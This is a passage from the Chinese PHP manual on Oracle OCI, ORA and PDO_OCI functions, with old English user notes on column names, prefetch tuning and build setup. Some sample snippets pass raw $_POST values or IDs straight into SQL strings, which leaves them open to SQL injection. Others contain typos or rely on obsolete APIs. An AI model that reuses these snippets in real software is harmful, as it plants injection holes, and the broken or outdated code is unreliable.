SELECT ... TO_CHAR(MY_CLOB) ...

$my_clob = OCIResult($stmt,"MY_CLOB");

But this will:

SELECT ... TO_CHAR(MY_CLOB) AS MYC ...

$my_clob = OCIResult($stmt,"MYC");

Best regards.
erabbott at NOSPAMterra dot com dot br
27-Sep-2002 06:35
Note that if you are making multiple table selects, you must specify an alias to each column.

This wont work:
----------------------------------------
$qry = "SELECT A.COL_ONE, B.COL_ONE FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
   $a = OCIResult($stmt, "A.COL_ONE");
...
----------------------------------------

But this will:
----------------------------------------
$qry = "SELECT A.COL_ONE AS X, B.COL_ONE AS Y FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
   $a = OCIResult($stmt, "X");
...
----------------------------------------

Regards,
steve dot hurst at instem-lss dot co dot uk
28-Mar-2002 11:35
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
dwilson at cae dot wisc dot edu
17-Apr-2001 09:05
I complained that I couldn't get the time from an Oracle date field.  Joe Brown said:

This is not a PHP bug.

Consider setting NLS_DATE_FORMAT.

The manual states OCIResult() returns everything as a string.
NLS_DATE_FORMAT may not be appropriate for your needs.

There are quite a few places you can set NLS_DATE_FORMAT.
* Environment variables (or windows registry on win32)
* orclSID.ora
* on a per session basis; execute this statement after logon:

$cursor=OCIParse($connection,
 "ALTER SESSION SET NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'");
OCIExecute($cursor);
OCIFreeCursor($cursor);
shayman at quiver dot com
31-Aug-2000 12:09
As this function gets a 'mixed' variable type for the column index, you may use an integer to represent the column number. In this case, the count is starting from 1 and not from zero.
I am not sure, but I think this method is a bit faster than using the column name.
For an example, see the OCINumCols first example.
Maxwell_Smart at ThePentagon dot com
19-Aug-2000 07:49
On the column names needing to be all caps. Just a guess.

Oracle is case sensitive when columns are created with quotes around them. When they are created without quotes around them, they are case insensitive. However, Oracle will always display them as being all caps.

If PHP referes to a column, it probably gets the case from Oracle. Then since PHP is case sensitive, you have ot supply it in all caps.
rmanga at us dot oracle dot com
16-Feb-2000 02:10
I am having problems using Column names, but I tried column number instead of name, it seems to work
Dave dot Greene at wftech dot com
08-Dec-1999 09:37
Managed to finally get the actual demo script working, by removeing the "<" and ">" as it was turning my table name's into tags.
dominic dot standage at revolutionltd dot com
16-Sep-1999 08:43
OCIResult() requires the column name to be written in capitals, so OCIResult($stmt,"column") won't work, but OCIResult($stmt,"COLUMN") works fine. Hope that helps somebody out
add a note add a note

后退 | 起点 | 前进
ociplogon | 上一级 | ocirollback


ocirollback

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ocirollback -- oci_rollback() 别名

说明

本函数是该函数的别名：oci_rollback()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ociresult | 上一级 | ocirowcount


ocirowcount

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ocirowcount -- oci_num_rows() 的别名

说明

本函数是该函数的别名：oci_num_rows()。

add a note add a note User Contributed Notes
sontung2603 at yahoo dot com
17-Feb-2006 06:35
hello,
here'is an example  who works:

$connexion = ("name_bd","pass_db");  //set up connexion on database
$query="select * from order ";  // query for the test
$parse = ociparse($connexion,$query);  // parse query
ociexecute($pase);  // execute the query on server (on temporary memory)
ocifetchstatement($pase,$tab_result);  // the result will be fetched in the table $tab_result
echo ocirowcount($parse);  // show the numbers of result

/**** and if you want to posting the results of query ***/
$count = count($tab_result);
for($i=0;$i<=$count;$i++)
{
     echo $tab_result[$i]."<br>";
}

you can also do it with the function ociresult():

while(ocifetch($parse))
{
   echo ociresult($parse,"[capital letter of the name of feild that you want to show on naviator]");
}

Attention : all of name of tables on oracle database are in capital letter when you use an other application for connect to it.
example :

to select the field no_client on table client, on your script of posting, you should write :

echo ociresult($parse,"NO_CLIENT");

not :

echo ociresult($parse,"no_client");

//end

Enjoy
justin at flakmag dot com
27-Aug-2000 09:59
It appears the easiest workaround if you want to get numrows without moving to the end of the result set is to use:

numrows = OCIFetchStatement(...);
OCIExecute(...);

So that the execute re-executes the query. It's horribly inefficient to query twice, but it works.
batti at digito dot com
17-Feb-2000 12:52
this function can be used with select statement, and also return affected number of rows.
But remember this, use this after fetch statement.
add a note add a note

后退 | 起点 | 前进
ocirollback | 上一级 | ocisavelob


ocisavelob

(PHP 4, PHP 5)

ocisavelob -- OCI-Lob->save 的别名

说明

本函数是该函数的别名：OCI-Lob->save。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocirowcount | 上一级 | ocisavelobfile


ocisavelobfile

(PHP 4, PHP 5)

ocisavelobfile -- OCI-Lob->import 的别名

说明

本函数是该函数的别名：OCI-Lob->import。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocisavelob | 上一级 | ociserverversion


ociserverversion

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ociserverversion -- oci_server_version() 的别名

说明

本函数是该函数的别名：oci_server_version()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocisavelobfile | 上一级 | ocisetprefetch


ocisetprefetch

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

ocisetprefetch -- oci_set_prefetch() 的别名

说明

本函数是该函数的别名：oci_set_prefetch()。

add a note add a note User Contributed Notes
Herman
20-Jul-2004 10:01
I noticed an amazing improvement when setting up this parameter. I was querying 300 rows, which took 3 seconds to loop through the fetches.
When I set the prefetch to 500 I could do 5000 rows in 0.7 seconds.

SQL Net protocol is horribly inefficient doing a request/confirm for each line if you don't use this.
bmichael at goldparrot dot com
05-Jan-2003 07:00
If your are using Oracle's OCI libraries, on any project, which PHP does, you can use this limit.

I have done network level testing on the effect of this parameter.  It does improved efficiency.  Big Time.

Oracle uses SQL*Net as the transport mechanism for data between your connection and the database.  That is why you must setup Oracle properly.

This parameter tells SQL*NET to Buffer more results.  When SQL*NET (at the server) gets a request for data, it bundles up X rows (1,2,3,1000, etc) for transport.  It sends the appropriate SQL*NET headers back to the client, Waits for an ACK then begins sending data in MTU sized chunks (ethernet is something like 1500 bytes and ATM's WANS are around 1000 bytes).  The chunk size can also be tuned in SQL*NET, but with much less improvements.

TCP/IP then takes the data across the wire, breaking it up into multiple TCP/IP packets.

Once the exchange is done, the SQL*NET client sends an
ACK back to the SQL*NET Listener (the Oracle Server) and the transaction is complete.

Each round trip, SQL*NET looks up inside the server memory (UGA - user global area) to find the query results. It then grabs the rows necessary to send.  If it is one row, versus 1000 rows.  The process is the same.

There is much I could tell you on how the Database itself reacts.  If you can significantly lessen the amount of round trips you are making... WOW.

For more info on Oracle OCI go to http://otn.oracle.com
mlong-php at mlong dot us
31-Aug-2002 06:09
After playing around with this function more it really does make a difference. Use it after the parse and before the execute. By setting this to 5000 for a 10000 line query it took only 1/3 of the time to complete than without it. You may want to try different values to see what works best for your query.
mlong-php at mlong dot us
27-Aug-2002 11:32
If you set this to 2, then PHP would fetch 2 rows from the database at a time and only need to make half as many calls to the database. If you set it to 3 then 1/3 as many calls, etc. Basically this tells how many rows to retrieve at a time from the server (they will be cached so you'll still only get one at a time in your program). The drawback would be as one person already stated...the higher the number the more memory will be used. You would call this right after your parse, and before any fetch or execute. In practice this should improve performance but I haven't noticed any difference regardless of what values I put in though I am using a SQLNet interface to RDB so that may be it (for example, prefetch will not work with Oracle 7). You may have better luck than I.  If you want further info try searching in google for OCI_ATTR_PREFETCH_ROWS
swany at hour13 dot com
20-Jun-2002 11:24
By default the OCI fetch calls retrieve one row at a time from the database.  This is fine for small result sets, but you incur A LOT of sql*net/database overhead if you are returning a large result set.

The solution is to use OCISetPrefetch to grab more than one row at a time from the database into the internal PHP buffer that holds the rows.  The fetches that you perform against the database will still return one row, just as they did before.  You don't have to code any differently.  The next time you do a fetch, PHP doesn't have to ask the database for it, it is simply retrieved from the local buffer.

Your goal is to set this value to approximately the same size as your average result set.  Setting it too high results in a waste of memory, and setting it to low results in too much database activity.

By setting this value properly you can achieve dramatic speedups on data rich pages.  Experiment with the values a bit and I am sure you will find the call to be one of the most important OCI functions you will use.
add a note add a note

后退 | 起点 | 前进
ociserverversion | 上一级 | ocistatementtype


ocistatementtype

(PHP 3 >= 3.0.5, PHP 4, PHP 5)

ocistatementtype -- oci_statement_type() 的别名

说明

本函数是该函数的别名：oci_statement_type()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocisetprefetch | 上一级 | ociwritelobtofile


ociwritelobtofile

(PHP 4, PHP 5)

ociwritelobtofile -- OCI-Lob->export 的别名

说明

本函数是该函数的别名：OCI-Lob->export。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocistatementtype | 上一级 | ociwritetemporarylob


ociwritetemporarylob

(no version information, might be only in CVS)

ociwritetemporarylob -- OCI-Lob->writeTemporary 的别名

说明

本函数是该函数的别名：OCI-Lob->writeTemporary。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ociwritelobtofile | 上一级 | Oracle Functions (PDO_OCI)


Oracle Functions (PDO_OCI)

PHP 手册
后退 前进

XCIX. Oracle Functions (PDO_OCI)

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

PDO_OCI is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Oracle databases through the OCI library.

目录
PDO_OCI DSN -- Connecting to Oracle databases

add a note add a note User Contributed Notes
moc.aciremi@yvelj
02-Jun-2006 03:25
A Statement of Warning:

PDO::oci does not support REF CURSORS.

This is mentioned nowhere (until now!) on this page.

And now you know!

If you want ref cursors avoid PDO for now.

My Reference for this claim:
http://www.oracle.com/technology/pub/articles/
php_experts/otn_pdo_oracle5.html

GREAT article, excellent piece, really. It's not clear to me
how old this document is, but it must have some dust on it,
given it's references to "PHP5.1 ...' which is a little way off yet' "
... as of 2006-06-01, PHP5.1 has been with us for quite some time.
cursade at hotmail dot com
21-Apr-2006 02:29
if oracle and oracle instant client has been installed,
without db in the same host

For UNIX/LINUXset $LD_LIBRARY_PATH
appent your instant client path  and  client/lib path to it,

For windows set PATH like this

After set the path ,set TNS_ADMIN everioment ,point to
where  tnsnames.ora located.

Then,you can use service name to connect to your Database

Test coding

<?php
$param = $_POST;
$db_username = "youusername";
$db_password = "yourpassword";
$db = "oci:dbname=yoursid";
$conn = new PDO($db,$db_username,$db_password);
$name = $param['module'];
$file = $param['file'];
$stmt = $conn->exec("INSERT INTO AL_MODULE (AL_MODULENAME, AL_MODULEFILE) VALUES ('$name', '$file')");

?>
cursade at hotmail dot com
20-Apr-2006 05:43
If instant client has been installed but the full oracle client
not yet ,you can use pdo to connect to oracle database
like following coding:

<?php
$tns = "
(DESCRIPTION =
   (ADDRESS_LIST =
     (ADDRESS = (PROTOCOL = TCP)(HOST = yourip)(PORT = 1521))
   )
   (CONNECT_DATA =
     (SERVICE_NAME = orcl)
   )
  )
       ";
$db_username = "youname";
$db_password = "yourpassword";
try{
   $conn = new PDO("oci:dbname=".$tns,$db_username,$db_password);
}catch(PDOException $e){
   echo ($e->getMessage());
}
?>
add a note add a note

后退 | 起点 | 前进
ociwritetemporarylob | 上一级 | PDO_OCI DSN


PDO_OCI DSN

(no version information, might be only in CVS)

PDO_OCI DSN -- Connecting to Oracle databases

说明

The PDO_OCI Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is oci:. If you are connecting to a database defined in tnsnames.ora, append the name of the database to the DSN prefix and your DSN is complete.

dbname (Oracle Instant Client)

The URI for the Oracle Instant Client connection takes the form of dbname=//hostname:port-number/database.

范例

例子 1. PDO_OCI DSN examples

The following examples show a PDO_OCI DSN for connecting to Oracle databases:
oci:mydb
oci:dbname=//localhost:1521/mydb

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Oracle Functions (PDO_OCI) | 上一级 | Oracle 函数（已废弃）


Oracle 函数（已废弃）

PHP 手册
后退 前进

C. Oracle 函数（已废弃）

简介

本扩展增加对 Oracle 数据库服务器访问的支持。参见 OCI8 扩展。

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0。

安装

你必须使用选项 --with-oracle[=DIR] 编译 PHP ， DIR 的默认值是环境变量 ORACLE_HOME。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

ORA_BIND_INOUT (integer)

ORA_BIND_IN (integer)

ORA_BIND_OUT (integer)

ORA_FETCHINTO_ASSOC (integer)

ORA_FETCHINTO_NULLS (integer)

目录
ora_bind -- 绑定一个 PHP 变量到一个 Oracle 参数
ora_close -- 关闭一个 Oracle 游标
ora_columnname -- 取得列名
ora_columnsize -- 取得列的大小
ora_columntype -- 取得列的类型
ora_commit -- 提交一个 Oracle 事务
ora_commitoff -- 关闭自动提交功能
ora_commiton -- 打开自动提交功能
ora_do -- 分析，执行，获取
ora_error -- 获得 Oracle 错误信息
ora_errorcode -- 获得 Oracle 错误号
ora_exec -- 在 Oracle 游标上执行被分析后的语句
ora_fetch_into -- 将一行数据放入数组
ora_fetch -- 从一个游标中取得一行数据
ora_getcolumn -- 取得列的数据
ora_logoff -- 关闭一个 Oracle 连接
ora_logon -- 打开一个 Oracle 连接
ora_numcols -- 返回列的数目
ora_numrows -- 返回行的数目
ora_open -- 打开一个 Oracle 游标
ora_parse -- 分析一条 SQL 语句
ora_plogon -- 打开一个持久的 Oracle 连接
ora_rollback -- 回滚事务

add a note add a note User Contributed Notes
Javi Ros
02-Jun-2006 10:49
Here are the translate of some functions from ORA to OCI:

function Ora_Logon($usuario, $password)
{
       $con = oci_connect($usuario,$password);
       return $con;
}

function Ora_Open($conexion) {
       $cursor[0]=$conexion;
       return $cursor;
}

function Ora_Parse(&$cursor, $consulta) {
       $cursor[1]=oci_parse($cursor[0],$consulta);
       return $cursor;
}

function Ora_Exec(&$cursor) {
       oci_execute($cursor[1]);
       $cursor[2]=1;
       return $cursor;
}

function Ora_Fetch(&$cursor)
{
       if ($cursor[2] == 1) $cursor[2]=0;
       return oci_fetch($cursor[1]);
}

function Ora_GetColumn(&$cursor, $indice)
{
       if ($cursor[2] == 1) {
               Ora_Fetch($cursor);
               $cursor[2]=0;
       }
       $valor = oci_result($cursor[1],$indice+1);
       return $valor;
}

function Ora_Close(&$cursor)
{
       unset($cursor[1]);
}

function Ora_Logoff($conexion) {
}
andre@sundale net
20-Apr-2006 03:09
>All ora_* functions will not work with Oracle 10g.

Appears to work ok for me under FreeBSD and sustain relatively high load.
New datatypes like CLOB do not work though, the module is based on Oracle7 client library.
marcel dot normann at experimentierkasten dot de
11-Jul-2005 03:38
Note: All ora_* functions will not work with Oracle 10g. You will have to use oci* instead.
gewj at skyone dot com dot cn
09-Nov-2004 11:23
I got a simple way to let php5 work with oracle 9i seamlessly.
   According to the normal case,it reports a error not to find libclntsh while compiling the php5.You could do a soft link as follow:
  ln -s $ORACLE_HOME/lib/libclntsh.so.9.0 $ORACLE_HOME/lib/libclntsh.so

   After that, you recompile the php5 and it'sl ok now.
spam2004 at turniton dot dk
17-Aug-2004 09:32
I had a hard time getting Oracle to work with the new PHP5 - here is a short step by step guide that may be usefull to others..

Oracle installation problems and workarounds for Fedora2 and Debian..

1) Get the oracle client stuff and put it into /usr/lib/oracle..
My output from "ls -R /usr/lib/oracle/"
/usr/lib/oracle/:
10.1.0.2
/usr/lib/oracle/10.1.0.2:
client
/usr/lib/oracle/10.1.0.2/client:
lib
/usr/lib/oracle/10.1.0.2/client/lib:
classes12.jar  libclntsh.so  libclntsh.so.10.1  libnnz10.so  libocci.so.10.1  libociei.so  libocijdbc10.so  ojdbc14.jar

2) Set the ORACLE environment vars
export ORACLE_HOME=/usr/lib/oracle/10.1.0.2/client/
export LD_LIBRARY_PATH=/usr/lib/oracle/10.1.0.2/client/lib
export NLS_LANG=DANISH

3) Get the oracle source files
nzerror.h  oci1.h    ociap.h  ocidef.h  ocidfn.h  oci.h    ocikpr.h    ori.h  oro.h nzt.h oci8dp.h  ociapr.h  ocidem.h  ociextp.h  ocikp.h  oratypes.h  orl.h  ort.h

4) edit the file oci.h and add a line in the top below the comments
#define OCI_NLS_CHARSET_ID 0

5) Copy the oracle source files (.h and .c) files to
php-5.0.0/ext/oci8/ and also copy them to php-5.0.0/main/

6) Goto the php-5.0.0. dir and do a ./configure --with-oci8 and other stuff you need..

7) make install

8) Add these lines to /etc/rc.d/initd/httpd

export LD_LIBRARY_PATH=/usr/lib/oracle/10.1.0.2/client/lib
export NLS_LANG=DANISH
export ORACLE_HOME=/usr/lib/oracle/10.1.0.2/client/lib
export LD_LIBRARY_PATH=/usr/lib/oracle/10.1.0.2/client/lib
export TZ=GMT
export NLS_DUAL_CURRENCY='.'

# Notice the line export NLS_DUAL_CURRENCY='.' is needed to get the stuff to run correctly on Fedora 2 .. otherwise you get a nasty misleading error about invalid username or password!.
zyablik at insc dot ru
08-Apr-2004 01:56
Oracle Client 9i on Windows XP (2000) plus IIS, plus Oracle RDBMS on remote server.
The bad thing that nothing will be working on windows-based comp. until you will not change the proper permissions on some files.

Fist you will need to set environment
ORACLE_SID (not necessary)
ORACLE_HOME (necessary)
TNS_ADMIN (necessary).

Second: add user IUSR_user read permission on the directory pointed by TNS_ADMIN. The same user permission r/x on the file orannts9.dll in ORACLE_HOME\bin (this was finded experimentally). After this instructions  ora_logon or ocilogon will be executed without deadly error codes ORA-12154 or ORA-12538.
nasser / at / unixica dot com
18-Mar-2004 04:52
More on the header files needed to compile PHP...

I installed the client side of Oracle 9i for Linux in different configurations, and could not get the oci*.h files that PHP requires for compilation.  So in the end, I searched for them through the jar files, and here's the result:

As you probably know, the Oracle for Linux package comes in three download files, or three disks.  Go to this path:

/path/to/disks/Disk2/stage/Components/oracle.rdbms.oci

The rest of the directories are based on the release number, so they may look a little bit different but you get the picture:

9.2.0.1.0/1/DataFiles/public.1.1.jar

and use "jar xf" to extract it and grab the header files.  Copy them to:

$ORACLE_HOME/rdbms/demo

And your make will work.  Since this wasted half of a day of mine (even after going through lots of comments on the Internet) I hope it saves somebody else's time...

Nasser
php kosmisk dk (punctuation needed)
13-Jan-2004 02:21
To make sure my oracle get's rolledback when my script once in a while dies or I make a mistake (statements are terminated with ";"...). I use this construction. Because if it isn't rolled back and you use plogon, other oracle connections might hang, until the apache process that ran the failed script is terminated, and therefore releases the connection and gives the implicit rollback.

The use of a shutdown_function:

$oracle = ora_plogon("user/pass@db", "") or die("Can't connect to db");
$cursor = ora_open($oracle);
ora_commitoff($oracle);

function ora_shutdown() {
  global $oracle;
  global $cursor;
  ora_rollback($oracle);
  ora_close($cursor);
  ora_logoff($oracle);
}

register_shutdown_function(ora_shutdown);
http://iubito.free.fr
30-Dec-2003 09:04
Here is my little but very very useful tutorial :-)

CONNECTION : (in connect.php)
<?php
$ora_conn = ora_logon("databaseName@service","pass");
?>
-----------------------------
DISCONNECT : (in disconnect.php)
<?php
ora_logoff($ora_conn);
?>
-----------------------------
In each page, you must include both files
<?php
include("connect.php");
blah blah
include("disconnect.php");
?>
-----------------------------

Now the hard... SELECT ! (in select.php)
<?php
// Comment the line error_reporting if you want to
// debug your code - for example the "NO DATA FOUND"
// when no result. Oracle returns this like an error.
error_reporting(0);

// Create an array, a cursor, count number of cols,
// perform the fetch and insert in the array.
$results = array();
$ora_cur = ora_do($ora_conn, $query);
// Don't panic, the $query will be set, wait a bit :)

if ($ora_cur)
{
  // Number of cols
  $numCols = ora_numcols($ora_cur);

  // Put the first line in the array...
  $row = array();
  for($i=0; $i<$numCols; $i++)
  { // for each column
   $row[ora_columnname($ora_cur,$i)] = ora_getcolumn($ora_cur,$i);
  }
  array_push($results,$row);

  // "Fetch" all records, one by one, and create an array for each one.
  // Each array is "pushed" in the $results array.
  while (ora_fetch($ora_cur))
  { // for each record
   $row = array();
   for($i=0; $i<$numCols; $i++)
   { // for each column
     $row[ora_columnname($ora_cur,$i)] = ora_getcolumn($ora_cur,$i);
   }
   // Push $results
   array_push($results,$row);
  }
}
// Now turns error_reporting on. Comment this line if you want
// to see "NO DATA FOUND" warnings.
error_reporting(1);
?>
--------------------------

And now let's enjoy with this simple page !! :)

<?
include("connect.php");
echo "blah blah";
$query = "select NAME, AGE from people where...";

include("select.php");

// Browse $results array and display results :
if (count($results)) // if no "NO DATA FOUND"
{
 reset($results);
 while($res=each($results))
 {
/*
 $res is like :
array(0 => array('NAME' => 'Sylvain', 'AGE' => '21'),
     1 => array('NAME' => 'Somebody','AGE' => '888'));
 */
  echo $res[1]['NAME']; // name
  echo $res[1]['AGE']; // age
  // ALLWAYS write in uppercase !
 }
}
else // NO_DATA_FOUND :(
{
 echo "There's nobody in your database :D";
}

echo "blah blah and again blah";
//...another queries
$query = "...";
include("select.php");...

include("disconnect.php");
?>

----------------------
Another queries (insert, update...) are simpler. Let's see :)
<?php
include("connect.php");
$query = "UPDATE people SET url='http://iubito.free.fr' where name='Sylvain'";
include("query.php");
include("disconnect.php");
?>

and query.php is :
<?php
$cursor = ora_open($ora_conn); // Create a cursor
if($cursor) // if created
{
  // Parse query
  $resultat = ora_parse($cursor,$query);
  $resultat = ora_exec($cursor); // Execute
  $a=ora_commit($ora_conn); // perform COMMIT
  $b=ora_close($cursor); // close cursor
}
else
{ // Write an error message
  echo "oh, oh ! problem...";
}
?>

Now enjoy using it !
For more information, see my website in French http://iubito.free.fr/prog/oracle.php
hsin at med dot cgu dot edu dot tw
10-Nov-2003 11:02
I got error messages when compiling after configured php-4.3.4, apache-1.3.29 and with Oracle client 9.2.0 (MySQL also) installed.

My configure command was:

./configure \
--with-mysql \
--with-oracle=$ORACLE_HOME \
--with-oci8=$ORACLE_HOME \
--enable-sigchild \
--enable-track-vars \
--with-xml \
--with-apache=../apache_1.3.29 \
--enable-exif

What made the error was lack of some headers (ociextp.h, oci.h...etc) These headers are located in the following dirs:

$ORACLE_HOME/rdbms/public
$ORACLE_HOME/rdbms/demo

Just install the Oracle developement kit in the Oracle database folder, I suggest using custum selection if passing php compilation is all yo want:)

One can either make sure these two directories are included or just copy the *.h into php-4.3.4/include
helvecio_oliveira at yahoo dot com dot br
14-Oct-2003 03:45
Some good links from OTN:

Installing Oracle, PHP, and Apache on Linux:
otn.oracle.com/tech/opensource/php/apache/inst_php_apache_linux.html

Forums Home->OTN->Technologies->PHP:
forums.oracle.com/forums/forum.jsp?forum=178

Forums Home->OTN->Technologies->Linux:
forums.oracle.com/forums/forum.jsp?forum=135
john at no_gay_refereces_please dot com
24-Apr-2003 04:03
Ok. Considering it took me about three hours to find the answer to this:

Running a stored procedure in Oracle 8i + PHP4 (explicitly).

$sql = "begin procedure_name($required_variables_string); end;";

... execute code here...

but your string should look like what is given above.
For example, if I was going to execute the following:
$sql = "SELECT * from some_table"; looks like straight SQL, vs the one above which looks more like a PL/SQL block.

A bit gay in my opinion, but this is my 2c for those who might need to know how to execute a stored procedure using PHP.
thebestion at gmx dot de
10-Oct-2002 12:48
A simple function

# list query in array
#
# $conn: connection
# $query: query_string
#
# return: $templist[$row][$column]=$value;

function get_query($conn,$query){
 $cursor = ora_open($conn);
 ora_parse($cursor, $query) or die;
 ora_exec($cursor);
 $numcols = ora_numcols($cursor);
 $i=0;
 while(ora_fetch($cursor)){
  for($column=0; $column < $numcols; $column++){
   $colname = trim(ora_columnname($cursor, $column));
   $data = trim(ora_getcolumn($cursor, $column));

   $templist[$i][$colname]=$data;
  }
  $i++;
 }
 return $templist;
}

i.e.:

$conn = ora_plogon( "user", "passwd")or die;

$cursor = ora_open($conn);

ora_commitoff($conn);

$query = "SELECT * FROM table";

$result=get_query($conn,$query);

for($i=0;$result[$i];$i++){
 echo $result[$i][column];
}
jjuffermans at chello dot com
16-Mar-2001 07:11
The following function returns more detailed information about the columns of a table. It returns an array of hashes, with columnname, type, size, precision, scale, nullable, comments and constraints.

   function columninfo($cursor, $table) {
       $query  = "SELECT";
       $query .= "  user_tab_columns.column_name,";
       $query .= "  user_tab_columns.data_type,";
       $query .= "  user_tab_columns.data_length,";
       $query .= "  user_tab_columns.data_precision,";
       $query .= "  user_tab_columns.data_scale,";
       $query .= "  user_tab_columns.nullable,";
       $query .= "  user_col_comments.comments,";
       $query .= "  (SELECT";
       $query .= "    constraint_name";
       $query .= "    FROM user_cons_columns";
       $query .= "    WHERE column_name = user_tab_columns.column_name)";
       $query .= " FROM user_tab_columns,";
       $query .= " user_col_comments";
       $query .= " WHERE user_tab_columns.table_name = '$table'";
       $query .= " AND user_tab_columns.column_name = user_col_comments.column_name";
       $query .= " ORDER BY user_tab_columns.column_id ASC NULLS FIRST";
       ora_parse($cursor, $query) or die("<hr /><h2 style=\"color:#ff0000\">" . ora_error($cursor) . "</h2><tt>$query</tt>");
       ora_exec($cursor) or die("<hr /><h2 style=\"color:#ff0000\">" . ora_error($cursor) . "</h2><tt>$query</tt>");
       $ret_array = array();
       while (ora_fetch($cursor)) {
           $column_name = strtolower(ora_getcolumn($cursor, 0));
           $data_type = ora_getcolumn($cursor, 1);
           $data_length = ora_getcolumn($cursor, 2);
           $data_precision = ora_getcolumn($cursor, 3);
           $data_scale = ora_getcolumn($cursor, 4);
           $nullable = ora_getcolumn($cursor, 5);
           $nullable = ($nullable == "Y");
           $comments = ora_getcolumn($cursor, 6);
           $constraint_name = strtolower(ora_getcolumn($cursor, 7));
           if ($data_precision) {
               $data_length = $data_precision + (($data_scale) ? 1 : 0);
           }
                       $ret_array[] = array(
               "column_name"        => $column_name,
               "data_type"            => $data_type,
               "data_length"        => $data_length,
               "data_precision"    => $data_precision,
               "data_scale"        => $data_scale,
               "nullable"            => $nullable,
               "comments"            => $comments,
               "constraint_name"    => $constraint_name
           );
       }
       return $ret_array;
   }
jjuffermans at chello dot com
16-Mar-2001 02:10
Usefull system table: all_tab_comments

It shows all tables/views that you can read, including a lot of other usefull system tables like user_objects, user_tab_columns, user_constraints.
aedunov at cv dot jinr dot ru
14-Jan-2001 10:09
If you use Oracle and PHP on the same computer, you can start only "dbstart" for runing PHP with Oracle and don't start "lsnrctl" maybe for security reason.
dmearls at yahoo dot com
05-Jan-2001 10:15
Here is a code sample that I used on NT 4.0 running Apache/Oracle 8.1.6/PHP 4.0 : I used it to connect to the sample scott-tiger schema EMP table. It is pretty much a hack, but I hope it helps you.

<?php

putenv('ORACLE_SID=DMEARLS.WORLD');
putenv('ORACLE_HOME=d:\oracle\ora81');
putenv('TNS_ADMIN=d:\oracle\ora81\network\admin');
$foo=exec("echo %ORACLE_SID%");
echo $foo;
//Set("ORACLE_SID=DMEARLS.WORLD");
//Set("ORACLE_HOME=D:\oracle\isuites");
       //$db = "dmearls.world";
       // create connection
   //  $connection = ora_logon("scott","tiger")
     $connection = OCILogon("scott","tiger","dmearls.world")
               or die("Couldn't logon to database.");

       // create SQL statement
       $sql = "SELECT ENAME, SAL
               FROM EMP
               ORDER BY SAL";
echo "<br>";
echo $connection;
echo "<br>";
echo $sql;
echo "<br>";

       // parse SQL statement
       $sql_statement = OCIParse($connection,$sql)
               or die("Couldn't parse statement.");
echo $sql_statement;
       // execute SQL query
       OCIExecute($sql_statement)
               or die("Couldn't execute statement.");

       // get number of columns for use later
       $num_columns = OCINumCols($sql_statement);
echo "<br>";
echo $num_columns;
       // start results formatting
       echo "<TABLE BORDER=1>";
       echo "<TR>
             <TH>Name</TH>
             <TH>Salary</TH>
             </TR>
             ";

       // format results by row
       while (OCIFetch($sql_statement)) {
               echo "<TR>";
               for ($i = 1; $i < $num_columns; $i++) {

                       $column_value1 = OCIResult($sql_statement,$i);
                       $column_value2 = OCIResult($sql_statement,$i+1);
                       //echo $i;
                               echo "<TD>$column_value1</TD>";
                               echo "<TD>$column_value2</TD>";
               }
               echo "</TR>";
       }

       echo "</TABLE>";

       // free resources and close connection
       OCIFreeStatement($sql_statement);
       OCILogoff($connection);

       ?>
rs at aelea dot com
19-Aug-2000 05:28
Connecting to remote oracle database -

Is the same as a local database, but the remote database must be configured in your tnsnames.ora - its then provided to PHP by way of tns...
elf at messer dot de
28-Jul-2000 12:05
I contribute the following code example.

function GetNameFromUserId ($ID, &$User, &$Msg)
 {
  print('<BR>GetNameFromUserId Start');

  if ($Session = ora_plogon('Hello', 'World'))
   {
   print('<P>Session: ' . $Session . '<P>');

   if ($Cursor = ora_open($Session))
     {
     print('<P>Cursor: ' . $Cursor . '<P>');

     $SQL = 'SELECT NAME FROM PERSONS WHERE USERID = \''
             . $ID . '\'';
     print('<P>SQL: ' . $SQL . '<P>');

     // Prepare SQL statement
     if (ora_parse($Cursor, $SQL))
       {
       if (ora_exec($Cursor))
         {
         $Row[] = '';

         // Retrieve a complete row from the result set
         if (ora_fetch_into($Cursor, &$Row))
           {
           $User = 'count = ' . count($Row) . ': ';

           while (list($Key, $Value) = each($Row))
             {
             $User .= '<BR>Row[' . $Key . '] = ' . $Value;
             }

           $Result = 0;
           }
         else
           {
           $Msg = ora_error($Cursor);
           $Result = ora_errorcode($Cursor);
           }  // end of if expression
         }
       else
         {
         $Msg = ora_error($Cursor);
         $Result = ora_errorcode($Cursor);
         }  // end of if expression
       }
     else
       {
       $Msg = ora_error($Cursor);
       $Result = ora_errorcode($Cursor);
       }  // end of if expression

